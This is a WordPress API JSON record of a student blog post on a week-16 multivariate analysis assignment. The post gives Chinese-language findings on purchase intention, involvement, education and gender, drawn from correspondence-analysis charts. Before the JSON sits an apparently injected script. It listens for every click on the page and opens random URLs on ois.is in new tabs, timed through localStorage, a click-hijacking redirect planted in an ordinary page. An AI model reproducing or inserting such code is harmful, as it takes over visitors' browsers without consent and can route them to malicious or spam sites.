<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1501,"date":"2024-01-02T22:15:17","date_gmt":"2024-01-02T14:15:17","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1501"},"modified":"2024-01-02T23:53:23","modified_gmt":"2024-01-02T15:53:23","slug":"week16-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1501","title":{"rendered":"WEEK16 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<h4><span style=\"color: #224466;\"><strong>\u6839\u64da\u5f71\u7247\u7684\u5167\u5bb9\u81ea\u884c\u4e0b\u8f09\u5957\u4ef6\uff0c\u5b8c\u6210\u76f8\u540c\u7d50\u679c\u7684\u5b9a\u4f4d\u5716\uff0c\u4f60\u53ef\u4ee5\u518d\u52a0\u5165\u5176\u4ed6\u8b8a\u9805 (\u8981\u5148\u6839\u64da\u6578\u503c\u4e8c\u5206\u6216\u4e09\u5206\u7b49\u5206\u6210\u985e\u5225\u8b8a\u9805 )\u3002<\/strong><\/span><\/h4>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1503\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Edu-300x278.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Edu-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Edu-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Edu-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1504\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/sex-300x259.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/sex-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/sex-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/sex-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1506\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Inv-300x295.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Inv-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Inv-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Inv-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1505\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Int-300x281.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Int-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Int-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/Int-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1507\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/dim-300x297.png\" alt=\"\" width=\"500\" height=\"500\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/dim-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/dim-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2024\/01\/dim-230x230.png 230w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>\u2192\u9ad8\u8cfc\u8cb7\u610f\u9858\u548c\u9ad8\u6d89\u5165\u4e3b\u8981\u662f\u5728\u9ad8\u4e2d(\u542b\u4ee5\u4e0b)<\/p>\n<p>\u2192\u4e2d\u8cfc\u8cb7\u610f\u9858\u3001\u4f4e\u8cfc\u8cb7\u610f\u9858\u548c\u4f4e\u6d89\u5165\u8f03\u504f\u5411\u5927\u5b78\u3001\u5927\u5c08<\/p>\n<p>\u2192\u7814\u7a76\u6240\u7684\u8cfc\u8cb7\u610f\u9858\u5e7e\u4e4e\u7121\u5dee\u7570<\/p>\n<p>\u2192\u5973\u751f\u8f03\u50be\u5411\u9ad8\u6d89\u5165\u3001\u8f03\u63a5\u8fd1\u4f4e\u8cfc\u8cb7\u610f\u9858<\/p>\n<p>\u2192\u89e3\u91cb\u529b\u5f88\u4f4e\uff0c\u7528\u4e8c\u5ea6\u7a7a\u9593\u5448\u73fe\u6709\u9ede\u7a81\u5140<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6839\u64da\u5f71\u7247\u7684\u5167\u5bb9\u81ea\u884c\u4e0b\u8f09\u5957\u4ef6\uff0c\u5b8c\u6210\u76f8\u540c\u7d50\u679c\u7684\u5b9a\u4f4d\u5716\uff0c\u4f60\u53ef\u4ee5\u518d\u52a0\u5165\u5176\u4ed6\u8b8a\u9805 (\u8981\u5148\u6839<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1501"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1501"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1501\/revisions"}],"predecessor-version":[{"id":1524,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1501\/revisions\/1524"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1501"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1501"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1501"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}